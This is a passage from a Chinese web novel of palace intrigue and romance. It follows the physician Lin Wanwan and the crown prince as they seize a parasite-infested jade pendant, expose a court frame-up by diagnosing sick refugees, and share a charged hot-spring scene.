口器开合间,发出刺耳的摩擦声。
显然它们对活物的血肉有着疯狂的渴望。
“玄冥寒气对他们没有太大作用!既如此,那它们可能只怕一样东西了!”
林绾绾眼中寒光一闪,不退反进,双手齐扬。
数十道九转玲珑针从她指间爆射而出。
这一次,她施针的目标并非蛊虫本身,而是射向石室顶部几处看似寻常,却隐有光线流转的位置。
银针准确刺入石头缝隙周围。
“嗡--!”
石壁碎石脱落,整个石室顶部骤然亮起。
那些被刺中的石头仿佛被激活,爆发出猛烈的炽白光芒。
如同数个小太阳被同时点亮,白光充斥了整个密室。
那些扑到半空的紫黑色蛊虫,被这突如其来的强光照射,如同被滚油泼中。
体表那层黑紫色幽光剧烈波动,发出凄厉痛苦的嘶鸣。
它们的速度瞬间变得迟滞,甚至有些弱小的蛊虫身体表面开始冒出丝丝缕缕的黑烟,痛苦地蜷缩翻滚。
被强光灼伤的蛊虫群大乱。
它们如同无头苍蝇般四处乱撞,相互嘶哑,再也无法形成有效的攻击阵型。
“绾绾,你怎知这蛊虫畏光?”萧景珩见蛊虫慢慢退却,心中稍安。
“我一进来就闻到了烈阳石的味道,这玩意碰到萤石会加剧光线照射。而蛊虫至阴至邪,都惧纯烈阳光。”
“太后若是想进来查看这玉佩,这保全自己的
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机关只会做在高处。所以我就赌了一把。”
林绾绾收回银针,心有余悸地看了一眼蛊虫方向。
“就是现在!”
萧景珩瞅准机会,玄冥之气不再分散,而是凝聚在指尖,形成一道冰蓝色指风。
目标——水晶罩!
冰蓝色指风射出,精准地击中水晶罩的基座连接处。
一声脆响后,水晶罩应声碎裂。
那枚悬浮其中的金昙同心佩失去了支撑,向下坠落。
林绾绾早已蓄势待发。
九转玲珑针再次出手。
一个巧劲回旋,针尖勾住玉佩穗,林绾绾凌空跃起,素手一抄,稳稳地将那枚带着历史沉重感的玉佩抓在手里。
玉佩入手瞬间,一股仿佛跨越了漫长岁月的悲怆、不甘与守护的信念,顺着林绾绾的掌心涌入心中。
她心口的火焰印记猛地灼热了一下。
“走!”
萧景珩一把拉住林绾绾的手腕,没有丝毫停留,转身向甬道外冲去。
两人沿着来路,以最快的速度冲出秘库,关闭机关,回到慈宁宫的后殿。
佛龛无声滑回原位,仿佛一切从未发生。
两人略显急促的呼吸和手中那枚温润却沉重的玉佩,证明着刚才的惊心动魄。
就在他们准备原路离开时——
“什么人?有刺客!护驾!”
一声尖厉带着惊呼的呼喊,划破了慈宁宫的寂静。
紧接着,纷乱的脚步声和刀剑出鞘声从四面八方响起。
被发现了?!
两人心头一凛!
萧景珩眼神瞬间冰冷如刀。
他将林绾绾护在身后,腰间的剑蓄势待发。
林绾绾迅速将玉佩贴身藏好,指间扣住了数枚九转玲珑针。
就在这时,另一个方向,靠近前殿的位置,突然传来更加激烈的打斗声和呼喊声。
“刺客都在前殿,快!保护太后!”
“拦住他们!”
萧景珩和林绾绾对视一眼,瞬间明白——
是青蚨和策应的血鸦卫故意暴露制造混乱,为他们引开了追兵。
“走!”
萧景珩不再犹豫,揽住林绾绾的腰肢,瞬间融入茫茫夜色中。
第119章 昙佩封印
圣女别苑。
跳跃的烛火映照着林绾绾凝重的面容。
她将刚刚到手的金昙同心佩小心放在铺着白色丝绒的托盘上。
玉佩在灯光下流转着内敛的暗金色光泽。
核心处如同呼吸般的金色流光似乎更加清晰了一些。
当林绾绾极其小心地翻过玉佩时——
玉佩底部,一个微小的孔洞显露出来。
孔洞边缘光滑,不似天然形成,倒像是被什么东西蛀穿。
更令人毛骨悚然的是,透过那微小的孔洞,隐约可见玉佩内部并非实心,而是布满了细微如同蜂巢般的孔道。
而在那些孔道的深处,似乎有微小的暗红色东西在缓慢蠕动。
一股与羊皮卷上“圣血骨胎”气息相同,却更精纯的能量,正从着孔洞和内部的蜂巢结构中丝丝缕缕地散逸出来。
林绾绾倒吸一口冷气。
难怪太后要将它藏在秘库最深处。
这根本不是什么象征信物,而是一个温养邪蛊的容器!
那宸妃当年贴身佩戴此物...她真正的死因...
一旁的萧景珩脸色也是阴沉的可怕。
他伸出手指,指尖凝聚一丝玄冥寒气,小心翼翼靠近那个微小的孔洞。
寒气靠近瞬间,玉佩内部那些细微的暗红色蠕动似乎加快了一丝。
一股微弱却带着贪婪吞噬意念的波动传出。
“果然邪门!”
萧景珩收回手,眼神冰冷刺骨。
“太后用此物温养的,恐怕就是当年害死我母妃,以及炼制‘圣血骨胎’核心蛊源。”
“而皇帝炼制的长生蛊,也必定与此物脱不了干系!”
“必须毁掉它!”
赫连灼看着玉佩,眼中是毫不掩饰的杀意。
“不。”林绾绾摇了摇头。
“现在毁掉只会打草惊蛇。这东西是指向皇帝和太后最直接的铁证。而且,我记得《天医策》中有记载,以特殊手法可暂时封印此类邪蛊巢穴,甚至...可以反向追踪其控制源头。”
她脑海中快速翻阅着医理知识,试图梳理出线索,“容我再想想。”
就在这时!
“笃笃笃。”
房间门被轻轻叩响,节奏急促。
“奴婢青蚨,有事禀报。刚收到宫中紧急秘报!长乐宫失火,王贵妃...葬身火海!”
“什么?”三人同时色变。
皇帝动作好快!
这是要彻底灭口,斩断一切线索。
就算是长乐宫已经找到替罪羊,他也没有打算放过王贵妃!
王贵妃一死,毒害诰命夫人的案件就彻底成了无头悬案。
就算再查到王贵妃头上,一个**又能掀起怎样的波澜?
“还有...”青蚨继续道,“王絮王小姐,惊闻噩耗,在太医院为太后熬制汤药时,整碗汤药不慎全部扣在手上,伤势颇重。”
“陛下闻讯,感念她‘姐妹情深’,为安抚她的情绪,特许她在宫中常住。并且说东宫时常有太医走动,比较方便照顾,下旨安排她住在清漪殿偏殿。”
“皇帝还下旨擢升其兄,王丞相之子为大学士。”
好一招苦肉计!
自此后,王絮便可以名正言顺、频繁地出现在东宫,出现在太子萧景珩视线之内!
皇帝的反击真是又快又狠!
灭口、抬举、离间...一环扣一环!
看来宫斗的棋盘上,硝烟注定不断!
长乐宫蹊跷的大火,如同投入死水潭的巨石,在京城暗流汹涌的湖面砸开一片短暂的喧嚣,随即被更深的沉寂吞噬。
王贵妃,这位在后宫短暂翻云覆雨的宠妃,最终以“失足引燃炭火,不幸殒命”的潦草结论盖棺定论。
王丞相府邸挂起了白幡,却听不见几声真切的悲泣,只有一种兔死狐悲的压抑。
皇帝萧胤狠狠训斥责罚了内务府。
**罚俸,然而到了最终还是草草收场。
他转头将更多的恩宠与权柄,倾向给了其他更有利用价值的妃嫔。
这一小插曲没有惊扰林绾绾研究玉佩封印的节奏。
第二天,圣女别苑内。
白日间,阳光充足,映照着林绾绾沉静而专注的侧脸。
长发松松挽起,几缕碎发垂落在颊边,
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更添几分柔和。
在她面前的紫檀木长案上,铺着厚厚的白色丝绒,玉佩放在正中央。
玉佩旁,摆放着数套大小不一的九转玲珑针、以及一些特制的银质镊子、小巧的水晶透镜,还有盛放着不同药液的玻璃皿。
林绾绾拿起一枚最细长的九转玲珑针。
针尖在阳光下闪烁着一点凝练的寒芒。
她屏息凝神,指尖萦绕着微弱的冰火双色气流,小心翼翼操控着银针,精准无比地刺入玉佩底部那个孔洞边缘。
针入瞬间。
“嗡--!”
玉佩内部那些暗红色的蛊虫仿佛受到了极大的刺激,蠕动骤然加剧。
一股剧烈的、带着贪婪吞噬意念的邪异波动猛地冲击而出,并试图沿着银针反噬。
林绾绾早有准备!
心口火焰印记瞬间灼热。
一股精纯的、带着圣洁净化气息的暖流顺着她的手臂涌入银针。
与此同时,萧景珩的右手也闪电般搭上林绾绾的左肩,一股冰冷的玄冥寒气注入她体内。
冰与火的力量,在她体内以玄妙的轨迹交融、循环。
一股温和而强大,蕴含着生生不息之意的奇异能量顺着银针,精准压向玉佩内部的躁动。
“嘶--!”
仿佛有无声的哀鸣在玉佩内部响起!
那些躁动的蛊虫,在冰火同源之力的压制下,如同被无形的枷锁束缚,蠕动速度瞬间变得迟滞。
玉佩内散发出的邪异能量也被牢牢锁在内部,无法再溢出分毫。
玉佩核心处那如同呼吸般的微弱金色流光,似乎更加明亮了一些。
“成了!”
林绾绾微微松了一口气,额角渗出细密的汗珠。
这看似简单的封禁,实则耗费了她巨大的精神力和对力量精妙的掌控。
萧景珩搭在她肩头的手掌并未移开,源源不断的玄冥寒气温和流转,抚平着林绾绾因消耗而产生的细微不适。
赫连灼看着两人之间那无需言语的默契流转,看着萧景珩那只自然搭在林绾绾肩头的手,眼神几度暗了暗,最终别开了视线。
第120章 王絮拜访
经过长时间力量流转,林绾绾长长舒了一口气。
“封禁只是暂时的。”
林绾绾收回银针,看着完全恢复平静的玉佩。
“想要彻底清除或追踪,需要更强大的力量或者...找到母蛊。不过有了这个,加上羊皮卷和赫连苍玄密室的晶石碎片,已是铁证。”
她将玉佩小心地收入一个内衬是特质隔绝材料的玄铁盒中。
“皇帝不会坐以待毙。”
萧景珩收回渡力量的手,声音低沉。
“王贵妃刚死,他就抬举王家,这是明晃晃的安抚。而将王絮安插到东宫,就是想逼我就范。”
话音刚落,门被轻轻叩响。
青蚨走了进来,神色有些古怪:“圣女,两位公子,王小姐...来了,就在前厅。说是奉陛下口谕,特意来探望圣女,并跟您请教一下调养身体的方子。”
来得真快!
林绾绾和萧景珩对视一眼,均在对方眼中看到了冷意。
这王絮,借着皇帝的势,竟敢直接登门了!
“不见。”
赫连灼冷声道,语气中满是不耐。
“不,让她进来。”
林绾绾唇角勾起一抹清冷的弧度,“正好看看,这位‘温婉贤淑’的王小姐,葫芦里卖的是什么药?”
圣女别苑前厅布置得清雅别致,熏着淡淡的安神香。
王絮一身淡雅的藕荷色襦裙,外罩月白纱衣,手上缠着洁白的纱布,更衬得她弱不胜衣,我见犹怜。
她端坐在客位,姿态优美,低眉顺眼,仿若一朵含羞带怯的水莲花。
当林绾绾在护卫萧景珩和赫连灼的陪同下步入前厅时,王絮立刻起身,盈盈下拜,声音轻柔婉转:“絮儿见过圣女殿下,见过狼主殿下。”
“柳小姐不必多礼。”
林绾绾在主位坐下,语气平淡:“听闻王小姐的手烫伤,不在东宫静心休养,怎么有空来我的别苑?”
“多谢圣女关心。”
王絮抬起缠着纱布的手,眼中带着恰到好处的委屈和坚韧。
“姐姐不在了,多亏皇帝和太后体恤怜惜,让我在宫中也有一席容身之地。他们待我这样好,我想略尽一份孝心。”
“奈何絮儿愚钝,于医道一途实在浅薄,唯恐照料不周。而圣女医术通神,故而斗胆前来,想向圣女讨教一二滋补安神的方子,还请圣女不吝赐教。”
她言辞恳切,姿态放得极低。
赫连灼冷哼一声,显然不吃这套。
萧景珩则如同雕塑般立在林绾绾身侧,面具下的目光冰冷,毫无波动。
“滋补安神?”
林绾绾端起茶盏,轻轻拨弄着浮叶,语气听不出喜怒。
“太后娘娘年事已高,心脉受损,虚不受补。寻常温补之药,如人参、鹿茸,药性过猛,反易引动虚火,加重病情。太后目前当以平补清养为主。”
她随口说了几味药性温和的药材和剂量搭配,皆是调养心脉的基础方子,毫无破绽。
王絮听得认真,连连点头,眼中却闪过一丝不易察觉的失望。
她想要的,显然不是这些。
“圣女所言极是,絮儿受教了。”她柔声道。
话锋忽然一转,目光中带着少女的羞涩和仰慕,飘向远处。
“其实絮儿此来,还有一事相求。我近日在东宫居住,太子殿下对我...多有照拂。我见太子殿下为国事操劳,又因太后之事忧心,似乎有些清减。”
“絮儿斗胆,想为殿下炖一盅滋补汤品,却怕影响太子殿下体内寒毒,起到相反作用。圣女殿下为太子殿下诊过脉,不知可否...”
她欲言又止,脸颊上飞起两朵红云,将一个情窦初开,关心心上人的少女形象演绎得淋漓尽致。
前厅的空气瞬间凝固。
萧景珩周身的气压瞬间降至冰点!
面具下的眸光如同淬了毒的寒冰,直刺向王絮!
这女人,竟敢来到绾绾跟前,不仅明目张胆地打探他的身体情况,还想离间他跟绾绾的感情。
简直找死!
林绾绾端着茶盏的手指微微一顿。
她抬眸,看向王絮那张写满“无辜”与“倾慕”的脸,忽然笑了。
那笑容清浅,却带着一种洞悉一切的了然和冰冷。
“王小姐对太子殿下,真是关怀备至。”
林绾绾的声音依旧平淡,却多了一丝玩味,“不过,殿下的体制,确实有些特殊。”
王絮心中一喜,以为
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得计,连忙做出洗耳恭听状:“请圣女明示!”
“殿下体内,沉疴已久,乃是先天不足,后天又遭邪寒侵体,导致阴阳失衡,气血两亏。”
林绾绾放下茶盏,目光直视王絮,语速平缓,却字字清晰。
“此等沉疴,非寻常滋补可解,需用九转玲珑针疏通奇经八脉,调和阴阳,方有缓解之望。且...”
她故意顿了顿,看着王絮眼中闪过的算计,缓缓道:“且因殿下体内寒气特殊,与寻常寒症迥异,药石之力难以深入。
“若有特殊体质之人的‘心头精血’为引,或可引药入髓。”
“但,此法凶险异常,稍有不慎,引血之人轻则元气大伤,重则...性命难保。”
“王小姐一片赤诚,莫非...愿意为殿下,献上自己的心头精血?”
“心头...精血?!”王絮脸上的红晕褪尽,变得惨白。
她娇躯微颤,眼中充满难以置信的惊恐。
她只是想借机接近太子,博取好感,顺便离间太子和圣女,哪里想过要付出如此可怕的代价!
王絮看着林绾绾那双放佛能洞穿人心的清冷眸子,一股寒意瞬间从脚底窜上头顶!
“我...我...”她嘴唇哆嗦着,一句话也说不出来。
之前的温婉贤淑,情真意切荡然无存,只剩下被戳穿心思的狼狈和恐惧。
“看来王小姐的‘赤诚’也不过如此。”
赫连灼毫不客气地嗤笑出声,“既无真心,又何必在此惺惺作态,徒惹人厌。”
“护卫”萧景珩声音也如寒铁摩擦,“王小姐若无他事,就请回吧!太子殿下身体自有圣女照料,不劳外人费心。”
“外人”二字,咬得极重,带着毫不掩饰的驱逐意味。
“是絮儿唐突了,告退。”
王絮觉得如芒在背,连礼数都顾不上了,踉跄起身,离开了圣女别苑。
看着王絮仓皇消失的背影,赫连灼冷哼一声:“跳梁小丑!”
林绾绾却微微蹙眉:“她不会善罢甘休。皇帝抬举王家,必有后手!”
仿佛为了印证她的话,仅仅过了三日时间,一桩新的“功劳”就落在了刚刚“痛失爱女”的王家头上。
第121章 金銮栽赃
早朝,金銮殿上。
皇帝萧胤端**,脸上带着刻意的疲惫,眼底深处却藏着精光。
兵部尚书出列,声音洪亮:“启奏陛下,日前京畿巡防营在城西巡查时,发现数名形迹可疑,身染恶疾之北漠流民。”
“经查,其身上带有北漠王庭狼王信物碎片,疑似北漠潜入之细作!”
“此些流民狡猾,几次逃窜。幸得王丞相府中护卫‘见义勇为’,协助巡防营擒获此獠,并搜出其随身携带之密信一封!”
“信中竟有狼山卫调动兵马的草图,以及对我大胤京畿布防记录!”
此言一出,满朝哗然!
“北漠细作?”
“狼山卫信物?还有密信?”
“这次也多亏了王丞相啊!”
无数道目光瞬间聚焦在脸色“沉痛”却难掩“刚正”的王丞相身上,以及他身侧不远处,面色沉凝的赫连灼身上。
赫连灼琥珀色眼眸瞬间眯起,周身散发着凛冽寒意。
这是赤裸裸的栽赃和污蔑!
他北漠狼山卫行得正坐得直,何须派细作潜入流民营!
这分明是皇帝见王贵妃倒台,急于给王家一个声名复起的功劳,同时也是往北漠身上泼脏水,打压北漠狼主和圣女在京城的威望!
好毒的计策!
“陛下!”
王丞相适时出列,一脸“忠君爱国”的悲愤。
“老臣虽痛失爱女,然国事为重!府中护卫偶遇此等宵小,自当挺身而出!此密信关乎京畿安危,请陛下明察!”
说完,他双手捧着一封被火漆封住的信件。
萧胤脸上露出“震怒”与“欣慰”交织的复杂表情:“呈上来吧!”
内**密信呈上御案。
皇帝拆开火漆,装模作样的看了几眼,脸色“勃然大怒”,猛地一拍御案:“岂有此理!赫连狼主,此事你作何解释?!”
他将密信狠狠掷向殿下。
赫连灼并未去接那飘落的信件,只是冷冷地看着皇帝。
“陛下!仅凭几个来历不明、身染恶疾的所谓‘流民’,以及一张不知真伪的纸片,就断定我北漠派遣细作?是否太过儿戏!”
“那本狼主倒要问问,如今那些‘细作’何在?所谓密信,可否当众查验笔迹、纸张来源?”
“王丞相护卫‘见义勇为’之时,可有人证物证?”
“如此漏洞百出的构陷,陛下莫非信以为真?”
赫连灼言辞犀利,条理清晰,直指要害!
朝堂之上顿时想起一片窃窃私语。
不少大臣看向王丞相的目光也带上了怀疑。
的确,这“功劳”来得太巧了,也太经不起推敲了。
王尚书脸色微变,正要反驳。
“陛下!”
一个清冷悦耳的声音忽然响起,带着穿透力,压下了殿内的嘈杂。
所有人的目光瞬间聚焦在开口之人身上——
正是今日奉诏入宫议事的北漠圣女,林绾绾!
她今日穿着正式的圣女服饰,雪白圣洁。
金昙纹路在殿内光线下流淌着神秘光泽。
她整个人看起来气质高华,不容逼视。
“圣女这是有话要说?”皇帝眼神阴沉。
“臣斗胆,但并非是为北漠辩解。”
林绾绾微微躬身,姿态从容。
“刚从陛下口中得知,那几名被擒的细作身染恶疾。臣的医术想必大家是有目共睹的,可否容臣一观?”
“若真是北漠细作,其身上所携疫病,或可成为追查其来源之线索。”
她目光平静地看向兵部尚书和王丞相。
兵部尚书一愣,眼神不自觉瞥向王丞相。
王丞相则是心头一跳,一种不详的预感升起。
他强装镇定道:“此等恶疾,恐污了圣女玉体!且人犯已被严加看管,不便…”
“无妨。”林绾绾打断他,语气是不容置疑的决定。
“身为医者,救死扶伤乃是本分。况且,为了两国邦交,帮助陛下分忧查明真相,亦是臣的责任。”
“若是王丞相担忧疫病传染,本圣女可配置避秽药囊,分与接触之人。”
她说着,目光再次转向皇帝。
“请陛下恩准。若真是北漠之过,臣定不包庇。”
“若是有人蓄意构陷…也请陛下,还北漠一
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个公道!”
林绾绾的话掷地有声,有理有据,更是将自己置于一个公正无私,勇于担当的位置上。
瞬间赢得了许多中立大臣的暗暗点头。
皇帝脸色变幻不定。
他本意是想借此事打压赫连灼,抬举王家,没想到林绾绾横插一脚,还提出了验看“病人”!
那几个所谓的细作,本来就是找来顶罪的流民,身上染的病也是故意弄出来的。
看着吓人,实则未必是致命的“恶疾”。
根本经不起林绾绾这个医术绝佳之人的验证!
“陛下,圣女仁心,所言有理,请陛下恩准圣女查验。若是北漠之过,本狼主当以北漠之主的身份谢罪于大胤!”
赫连灼趁势朗声道,气势逼人。
“请陛下恩准!”
一些本就对王家不满或持中立态度的大臣也纷纷附议。
众目睽睽之下,皇帝骑虎难下!
他阴鸷的眼眸扫了林绾绾一眼,最终咬牙切齿道:“准!将人犯带到偏殿,由圣女查验!朕也想看看,到底是何方神圣敢在大胤作乱!”
******
偏殿侧厅,林绾绾正在准备待会可能要用的药材。
太监总管高德胜悄无声息地出现在一旁,“圣女殿下,陛下请您殿外一叙。请随老奴来。”
林绾绾放下手中东西,跟随在侧,出了殿门。
殿门外,皇帝缚首而立。
“圣女来了。”他缓缓转身,脸上刻意堆起“和蔼”的笑容。
林绾绾行礼,姿态恭谨,垂眸静待。
“寿宴之上,圣女妙手回春,救母后于危难,朕心甚慰。”
萧胤踱步到她面前,声音带着一种上位者的感慨,“林家之事,朕亦深感痛惜。若林卿泉下有知,见你如今贵为北漠圣女,医术通神,想必也能瞑目了。”
提及林家,林绾绾袖中的手指微微蜷缩,心口火焰印记传来灼痛,面上却依旧沉静如水。
“陛下过誉。救治太后,乃是医者本分。林家…也承蒙陛下挂念了。”
她声音清冷,听不出喜怒,却对皇帝找她的目的心中有了隐隐猜测。
第122章 圣女出手
偏殿外。
萧胤对林绾绾的态度和恭顺很是满意,目光在她清丽绝伦却难掩疏离的容颜上停留片刻。
话锋陡然一转,带着试探与诱惑:“圣女才貌双绝,心性坚韧,实乃世间罕有。景珩那孩子…自幼体弱多病,性情也孤僻了些。朕虽为君父,却常忧其将来。”
他顿了顿,声音压低几分,带着一种推心置腹般的“关怀”。
“若圣女能常伴其左右,以圣女的医术仁心,定能护他周全,助他安邦定国。这东宫太子妃之位…乃至将来母仪天下…也并非遥不可及。”
皇帝的意图昭然若揭——
以太子妃之位,乃至未来的后位作为诱饵,试图将她拉拢到自己的阵营。
他看中的,不仅是她北漠圣女的身份和影响力,更是她高绝的医术。
能在后宫中“护”住萧景珩这枚他暂时无法舍弃的棋子,甚至…可能成为他长生计划中新的“助力”!
林绾绾低垂的眼睫微微颤动。
母仪天下?
多么讽刺的许诺!
用林家满门的血染红的凤冠,她岂会稀罕?
然而,她抬起头时,脸上却带着恰到好处的受宠若惊的讶异与为难,“陛下隆恩,臣女甚是惶恐。只是臣女身负北漠圣女之职,恐难…”
皇帝抬手打断她,脸上笑容更深,“圣女身份尊贵,与太子正是天作之合。北漠王庭那边,自有朕去分说。你只需要明白朕的苦心,知晓谁才是你真正的倚仗。”
“朕的话,还望圣女多考虑一下。”
“臣女明白,谢陛下提点。”
林绾绾深深一礼,掩去眸底深处那片冰冷的寒潭。
倚仗?
她的倚仗,从来都只有手中的银针,心中的仇恨,以及那个与她血脉相连的男人!
皇宫偏殿,气氛凝重。
几名被铁链锁住,衣衫褴褛,浑身散发着恶臭的流民被侍卫押了上来。
他们裸着的皮肤上布满了大大小小、留着黄脓的恶疮,有些地方甚至已经溃烂见骨,散发着令人作呕的腥臭。
不少人已经陷入半昏迷状态,口中发出痛苦的呻吟。
兵部尚书和王丞相站在一旁,脸色难看。
赫连灼护在林绾绾身侧。
而林绾绾面不改色,仿佛闻不到那刺鼻的恶臭。
她示意侍卫退开些许,缓步上前。
她并未立刻接触病人,而是先仔细观察他们的面色、眼神、呼吸状态,以及疮口的形态、色泽、脓液性质。
“面黄肌瘦,眼窝深陷,呼吸浅促带痰鸣…疮口红肿溃烂,边缘不整,脓液黄稠腥臭,间有血丝…”
她一边观察,一边低语,脑海中《天医策》的医理飞速运转。
接着,他取出一根金针,在烛火上燎过消毒,然后刺入一名昏迷流民手腕的曲池穴!
轻轻捻转提插,感受着针下的气感变化。
片刻后,又换了足三里穴,合谷穴等几处要穴探查。
她的动作行云流水,带着一种专注而神圣的美感,让原本等着看笑话的王丞相等人也不禁屏住了呼吸。
约莫半盏茶功夫,林绾绾收回金针,用特制的药水仔细擦拭消毒。
她转过身,面向皇帝和满殿等待的官员,声音清晰响起。
“启奏陛下,臣女已经查验完毕。此数人所患,并非北漠或特定地域之疫病。而是典型的“疔疮走黄”之重症!”
“不是瘟疫?”有老臣发出疑问。
“没错。”林绾绾点头,“疔疮本乃热毒壅盛之症。然此数人,疮毒虽凶,其脉象却沉细而涩,尺脉尤弱,舌质淡胖,苔白厚腻!”
“此乃气血大亏,脾肾阳虚,无力托毒外出之象。”
“其疮毒看似凶猛,实则是本虚标实。”
林绾绾目光锐利扫过王丞相和兵部尚书:“此等重症,绝非短期形成!更非身强力壮,能长途跋涉执行细作任务之人所能患。”
“其疮口溃烂程度,脓液性质,皆显示病程至少一月以上!”
“且体虚之态,乃长期饥饿劳损所致!”
“这些分明是久居流民营,缺医少药,饱受饥寒之苦的普通流民!”
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>轰——!
林绾绾的结论如同惊雷,在偏殿炸响!
“什么?普通流民!”
“病程在一个月以上,那所谓细作潜入…”
所有人的目光瞬间齐刷刷射向脸色惨白,冷汗涔涔的王丞相和兵部尚书!
构陷!
这是赤裸裸的构陷!
用重病的流民冒充北漠细作,伪造所谓的密信和信物,炮制一出“忠心护国”的戏码!
“王守仁!赵德全!你们好大的胆子,竟敢合伙欺瞒朕!”
萧胤猛地站起身,指着王丞相和兵部尚书,脸上满是被蒙蔽的震怒,“你们竟敢欺君罔上,构陷友邦!该当何罪!”
“陛下,臣冤枉!臣…臣也是被兵部尚书蒙蔽的啊!”
王丞相噗通跪地,涕泪横流。
他毫不犹豫地断尾求生,将一切罪责推给了兵部尚书。
而兵部尚书此刻瘫软在地,面无人色。
“来人,将赵德全拿下!罢免兵部尚书一职,即刻交由大理寺严查。一应人等,不得姑息。”
“王守仁,念在你痛失女儿,才导致你识人不清,遂罚俸一年!”
皇帝厉声下令,装似痛心疾首。
侍卫如狼似虎地将瘫软如泥的兵部尚书拖了下去。
“都怪朕识人不清,差点让北漠与我大胤离心。希望狼主切莫将此事放在心上。”
赫连灼看着皇帝惺惺作态的表演,嘴角勾起冰冷的弧度,微微躬身,“陛下圣明!”
“圣女果然是医术了得,蕙质兰心。的确不负北漠所望!难怪深得狼主信任。看来,我大胤与这样人才的缘分还是差上一些!”
萧胤意有所指,别有深意地看了林绾绾一眼,在人看不见的地方,手中的扳指几乎要被捏碎。
一场轰轰烈烈的“擒获细作”的闹剧,以兵部尚书一家彻底覆灭告终。
皇帝看似失去了兵部尚书这枚棋子,但却保下了王丞相这个大鱼,也再次试探了林绾绾和赫连灼的锋芒。
事情似乎沉寂了下去,但谁都知道,这只是暴风雨前的宁静。
第123章 温泉动情
深夜,圣女别苑内。
一处由天然温泉引流,以白玉砌成的浴池内,水汽氤氲,暖意融融。
池边镶嵌的夜明珠散发着柔和的光芒。
这是修建别苑时,萧景珩特意嘱咐人给林绾绾单独辟出一个地方修建的。
此刻,林绾绾只着一件薄薄的素纱浴袍,浸泡在温热的泉水中。
乌黑的长发湿漉漉地贴在光洁的背脊上,水珠顺着优美的颈项滑落。
她闭着眼,眉心微蹙。
白日金銮殿验毒,揭穿构陷,以及近来发生的所有一切,看似风光,实则耗费了她巨大的心力。
更让她忧心的是,封禁玉佩消耗的冰火同源之力似乎对身体产生了影响。
心口那火焰印记总是隐隐传来一阵阵细微的、如同被什么东西牵引一般的灼痛感,仿佛是与那玉佩深处的蛊毒产生了某种微妙的共鸣。
“嘶…”
又来了,一阵熟悉的,如同针扎一般的刺痛从心口传来,让她忍不住轻吸一口气,身体微微蜷缩。
就在这时。
“哗啦…”
水声轻响。
一道高大的玄色身影,无声无息地踏入温泉池中。
水汽朦胧中,萧景珩卸去了面具,俊美无俦的面容在氤氲水汽中少了几分平日的冷冽,多了几分惑人的慵懒。
他脱掉自己上衣,精壮的上身毫无遮拦。
流畅的肌肉线条在夜明珠光下如同最完美的雕塑。
心口那枚与林绾绾遥相呼应的火焰印记,在温热水汽中仿佛也鲜活过来,散发着微弱的赤芒。
“你真是太逞强了。”
萧景珩低沉的声音中满是关切,在温泉池中慢慢靠近林绾绾。
林绾绾睁开眼,对上他近在咫尺的深邃眼眸,里面清晰地映着自己有些苍白的脸。
“只是有点灼痛而已,可能是封禁玉佩的反噬。”这次她没有隐瞒。
萧景珩眉头微蹙。
他伸出手,干燥而带着薄茧的指尖,带着不容拒绝的力道,轻轻抚上她心口上方火焰印记的位置。
隔着薄薄的湿透的衣料,萧景珩清晰地感受到林绾绾心口的灼热和细微的震颤,以及她身体瞬间的僵硬。
“别动。”
萧景珩的声音低沉而带着磁性,在氤氲的水汽中显得格外暧昧。
“我记得你说过,冰火同源之力消耗过度,需要及时补充调和,否则容易遭到反噬。若不是感知体内能量有异,你还要瞒我到什么时候。”
他的指尖并未移开,反而缓缓注入一股温和精纯的玄冥寒气。
冰冷的寒气透过湿透的衣料,精准地渗入她灼热的印记上。
冰与火的碰撞,带来一阵奇异的战栗,瞬间缓解了那针扎般的刺痛。
林绾绾忍不住发出一声细微的喟叹,紧绷的身体缓缓放松了下来。
看着她因舒适而微微舒展的眉眼,萧景珩的眸光深了深。
他另一只手也探入水中,揽住了林绾绾不盈一握的腰肢,将林绾绾更近地带入自己怀中。
两人的身体隔着薄薄的湿衣紧紧相贴,灼热的体温和冰寒的气息在温热的泉水中奇妙地交融、循环。
“这样…效果更好。”
萧景珩低头,灼热的呼吸拂过林绾绾敏感的耳朵,声音带着蛊惑的沙哑
林绾绾脸颊瞬间绯红,心跳不受控制地加速。
她能清晰感受到萧景珩胸膛传来的强大力量,以及那在水中依旧存在感十足的、属于男性的侵略气息。
林绾绾下意识地想要推开他,却被揽得更紧。
“别抗拒,绾绾。”
萧景珩的额头轻轻抵着她的,鼻尖几乎相触,深邃的眸子里翻涌着炽热的欲望与一种更深沉的怜惜。
“运转你的力量,引导我的寒气。”
他的声音如同魔咒。
林绾绾闭上眼,强迫自己静下心来,依言运转‘冰火同契’的心法。
心口的灼热与萧景珩注入的寒气在她体内按照脉络的轨迹开始流转。
所过之处,疲惫消除,耗损的力量如同干涸的河床得到甘霖的滋润,迅速恢复壮大。
而两人之间紧密的贴合,让这力量的流转毫无滞涩,达到了
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前所未有的流畅与和谐。
水波荡漾。
氤氲的水汽模糊了视线,也模糊了理智的界限。
力量交融带来的舒适感如同最醇厚的美酒,让人沉醉。
林绾绾不自觉地微微仰起头,樱唇无意识地开启,发出细微的喘息。
这对萧景珩来说,更像是无声的邀请,瞬间点燃了他眸中压抑已久的火焰。
他再也抑制不住自己的感情,猛地低头,狠狠攫取了那两片诱人的柔软。
“唔…”林绾绾的轻哼被尽数吞没。
这个吻,不同于以往的试探与安抚,充满了强烈的占有欲和压抑已久的渴望。
如同狂风骤雨,席卷了林绾绾的感官!
萧景珩强势撬开林绾绾的贝齿,攻城略地,汲取着她口中的甘甜,与她唇齿纠缠共舞。
冰火交融的力量在两人唇齿间激烈碰撞、融合,更是带来一种灵魂都为之战栗的极致快感!
林绾绾大脑一片空白,所有的理智都被这炽热的吻焚烧殆尽。
她本能地回应着萧景珩,双臂不由自主地环上他坚实的脖颈,身体更加紧密地贴向他。
温热的泉水包裹着两人,水波随着他们激烈的动作而荡漾起伏。
萧景珩的吻沿着林绾绾优美的下颌线一路向下,灼热的吻烙印在她纤细的脖颈,精致的锁骨…
他的一只手依旧稳稳地按在她心口上方的火焰印记上,持续注入寒气,维持着力量的循环。
另一只手,却在林绾绾光洁的背脊上缓缓游移。
带着薄茧的指腹划过细腻的肌肤,带来一阵阵令人战栗的电流。
“景珩…”
林绾绾无意识地呢喃着他的名字,声音带着情动的媚意,如同最烈的**。
萧景珩的动作一顿,他抬起头,深邃的眸子里翻涌着几乎要将林绾绾吞噬的欲海,却又带着一丝极力克制的猩红。
他看着林绾绾迷离的水眸,绯红的脸颊,微微红肿的唇瓣…
喉结剧烈地滚动了一下。
最后的理智在摇摇欲坠,一切都指向禁忌的终点。
第124章 进宫赴宴
圣女别苑,温泉内。
